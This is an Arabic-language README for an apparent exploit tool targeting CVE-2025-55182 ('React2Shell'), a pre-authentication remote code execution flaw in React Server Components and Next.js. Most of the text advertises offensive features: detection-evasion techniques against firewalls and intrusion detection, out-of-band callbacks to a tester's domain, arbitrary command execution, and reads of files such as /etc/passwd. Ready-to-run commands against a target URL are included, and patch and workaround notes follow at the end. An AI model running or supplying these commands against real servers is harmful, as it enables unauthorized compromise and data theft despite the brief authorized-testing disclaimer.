CVE-2025-55182 — React2Shell

تنفيذ تعليمات برمجية عن بُعد قبل المصادقة في مكونات خادم React (RSC) و Next.js والأطر ذات الصلة.

نظرة عامة

CVE-2025-55182 (يُشار إليه أيضًا باسم React2Shell) هو ثغرة حرجة من نوع تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة تؤثر على نظام مكونات خادم React (RSC). يمكن لمهاجم غير موثَّق اختراق خادم ضعيف بالكامل من خلال طلب HTTP POST واحد مصمم بعناية.

التحليل الفني

السبب الجذري

تستخدم مكونات خادم React تنسيقًا مخصصًا للأسلاك يُسمى React Flight لتسلسل مراجع الدوال واستدعاءات الوحدات. توجد الثغرة في آلية فك ترميز الحمولة التي تعالج طلبات POST الواردة إلى نقاط نهاية RSC.

عندما يتلقى الخادم حمولة React Flight، فإنه يُفك تسلسل المحتوى دون التحقق الكافي، مع الثقة في حقول $$typeof التي يتحكم بها المهاجم وحل مراجع الوحدات. يسمح هذا للمهاجم بما يلي:

1. الإشارة إلى وحدات Node.js المدمجة التعسفية (مثل child_process و fs و net)
2. ربط استدعاءات الدوال عبر علامة النوع $F (دالة)
3. تنفيذ تعليمات برمجية تعسفية تحت بيئة تشغيل Node.js الخادم

الإصدارات المتأثرة

CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical

الميزات

• المسح – كشف نقاط نهاية RSC الضعيفة وتحديد إصدار Next.js/React.
• التحقق (OAST) – إرسال حمولات خارج النطاق لتأكيد RCE عبر عمليات استرجاع DNS/HTTP.
• التجاوز – تجاوز شامل لجدران الحماية/IDS: تحوير نوع المحتوى، ترميز الحمولة، تزوير الرأس، تنويع المسار، وحمولات WAF.
• التنفيذ – تشغيل أوامر نظام تعسفية على الهدف (مثل id، whoami).
• القراءة – قراءة ملفات تعسفية من الخادم (مثل /etc/passwd، package.json).
• إخراج JSON – نتائج قابلة للقراءة آليًا للتكامل.

التثبيت

git clone https://github.com/SentinelXofficial/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt

الاستخدام

مسح أساسي

python3 poc.py -t https://target.com
python3 poc.py -t https://target.com --timeout 15
python3 poc.py -t https://target.com --json

التحقق من RCE باستخدام OAST

python3 poc.py -t https://target.com -m verify --oast your.oast.domain

اختبار التجاوز الكامل

python3 poc.py -t https://target.com -m bypass --verbose

تنفيذ الأوامر

python3 poc.py -t https://target.com -m exec --cmd "id"
python3 poc.py -t https://target.com -m exec --cmd "whoami" --timeout 20

قراءة الملفات

python3 poc.py -t https://target.com -m read --file "/etc/passwd"
python3 poc.py -t https://target.com -m read --file "/app/package.json"

استخدام وكيل (مثل Burp Suite)

python3 poc.py -t https://target.com --proxy http://127.0.0.1:8080

هيكل الملفات

CVE-2025-55182/
├── README.md
├── poc.py
├── requirements.txt
└── exploit/
    ├── __init__.py
    ├── payloads.py
    ├── scanner.py
    ├── bypass.py
    └── rce.py

التخفيف

التصحيح (موصى به)

npm install [email protected]
npm install [email protected] [email protected]

حلول مؤقتة

· تعطيل وظائف الخادم ("use server") · قواعد WAF لحظر Content-Type: text/x-component · تقسيم الشبكة لنقاط نهاية RSC

المراجع

· https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components · https://www.cve.org/CVERecord?id=CVE-2025-55182 · https://nvd.nist.gov/vuln/detail/CVE-2025-55182

إخلاء مسؤولية: للاختبارات الأمنية المصرح بها فقط.

المؤلف: SentinelX · https://t.me/SentinelXsecurity